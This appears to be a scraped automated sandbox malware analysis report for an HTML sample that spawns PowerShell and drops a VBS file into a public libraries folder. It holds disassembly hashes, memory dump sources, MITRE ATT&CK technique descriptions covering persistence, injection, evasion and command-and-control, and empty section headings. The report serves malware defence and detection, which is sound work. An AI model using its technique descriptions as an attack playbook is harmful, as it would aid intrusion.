Snapshot File: hcaresult_15_2_7ff838920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf1311cbc94f895d429eeffb42f82128e812fb397176bb0d06683773ead3aa2
Instruction ID: 4e335ad1320b75f1f710bd2e3c73613f8c739ece1d65dc61e90d5ea556f2e1eb
Opcode Fuzzy Hash: bdf1311cbc94f895d429eeffb42f82128e812fb397176bb0d06683773ead3aa2
Instruction Fuzzy Hash: D4E1572290EACA8FE756D76848591B5BFE1EF66391F0801FBD84CCB0E7DB099806C355

Function 00007FF8389215F5 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2936265909.00007FF838920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF838920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff838920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1419c96e7d2b34d76783db55fad0e66b26df2656e64e7e2b1fe2e333ecbb143
Instruction ID: 3ce0e9655b1470346c632559ef3c3c6a7659c7bd6fcdc1e05e545715201dd3bf
Opcode Fuzzy Hash: e1419c96e7d2b34d76783db55fad0e66b26df2656e64e7e2b1fe2e333ecbb143
Instruction Fuzzy Hash: 14B15923E0DACA0FE7A6962808581B9BBD1EF96691F1C00FAD84DC71E7DE19FC158345

Function 00007FF838923FBE Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2936265909.00007FF838920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF838920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff838920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a7acc376be8092e1c2d2ab05202bbb41b2bedbe7e1f0379a88189420cb11e2
Instruction ID: 8e96a7727ed62967f80439c49995283207f03c2c25991e44fc5619d281d90cc3
Opcode Fuzzy Hash: 49a7acc376be8092e1c2d2ab05202bbb41b2bedbe7e1f0379a88189420cb11e2
Instruction Fuzzy Hash: 52B1F82290EBCA8FE75397784865164BFE1AF16251F0D00FBC488CB1E7DB0A9C4AD356

Function 00007FF8389216CA Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2936265909.00007FF838920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF838920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff838920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84a3fb04be1f72890ec4805d99755aea6ca0cb3401e7398d7c16a13af570f674
Instruction ID: 143968416d2095c4750ea8f8519e10c490bc2ff49976dba7224cdc14088b51e9
Opcode Fuzzy Hash: 84a3fb04be1f72890ec4805d99755aea6ca0cb3401e7398d7c16a13af570f674
Instruction Fuzzy Hash: 3C41D813E0EA8B0FF7A596280859178D5D6AF916E2F5801B9D80DC31FADF1AFC155305

Function 00007FF838853D58 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2935526477.00007FF838850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF838850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff838850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 168eec767ef5d12bb218e71e5d1a069958782ebedf993bcbcba66e31f991e1b3
Instruction ID: 27060af9f1473d3465a2b68155498e02fbdd038345ecbb66e209639f09f9dbf0
Opcode Fuzzy Hash: 168eec767ef5d12bb218e71e5d1a069958782ebedf993bcbcba66e31f991e1b3
Instruction Fuzzy Hash: 6831C063A0D7C64FE7439A2C98660A57FF0DFA7270B0901EBC4C5CB0A7DA1A5847D716

Function 00007FF838853CE5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2935526477.00007FF838850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF838850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff838850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48204c1cbb78487cbed9661f0e43227336fa0464a0188d4d93b811a43fbaaeb6
Instruction ID: f7617f68a7e627f3f9e74f1e58de2c8e576e1132730e44a7cda846bd5cf3f4dd
Opcode Fuzzy Hash: 48204c1cbb78487cbed9661f0e43227336fa0464a0188d4d93b811a43fbaaeb6
Instruction Fuzzy Hash: AD01677121CB0C4FD744EF0CE451AA6B7E0FB95364F10056DE58AC3665D736E882CB45

Non-executed Functions

Function 00007FF838852C95 Relevance: 5.5, Strings: 4, Instructions: 464COMMON

Download Yara Rule

Strings

PP_H, xrefs: 00007FF838852EA4
QP_H, xrefs: 00007FF838852DA4
OP_H, xrefs: 00007FF838852FA4
NP_H, xrefs: 00007FF8388530A0

Memory Dump Source

Source File: 0000000F.00000002.2935526477.00007FF838850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF838850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff838850000_powershell.jbxd

Similarity

API ID:
String ID: NP_H$OP_H$PP_H$QP_H
API String ID: 0-1106111699
Opcode ID: fcbecdb02ca3befc1828c48093f6c9eccd950cc180dc54bd9e9e8a3a2a2e2f8a
Instruction ID: 71ab4e412e30dfc51e913edf8948c422b7559ecc9959a1f3f9d4764d046887b1
Opcode Fuzzy Hash: fcbecdb02ca3befc1828c48093f6c9eccd950cc180dc54bd9e9e8a3a2a2e2f8a
Instruction Fuzzy Hash: 75D11C22B0EA8A4FD791E77CA4A46E57BD0EF66294B0901F7C08CCB1B7DE19DC468315

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report g3Wg5cdIcT.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

Spreading

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Libraries\Libraries.vbs

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0zg3c05e.2tr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_15bodsd4.nq2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xhss2ks.emt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5cbhr0pw.qe1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jj02asfh.g5a.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgzycyvt.o3g.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tw0hrqt0.s5j.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2beratc.0am.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4lx35yt.4zg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmqeati5.3vy.ps1

Windows Analysis Report
g3Wg5cdIcT.html

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre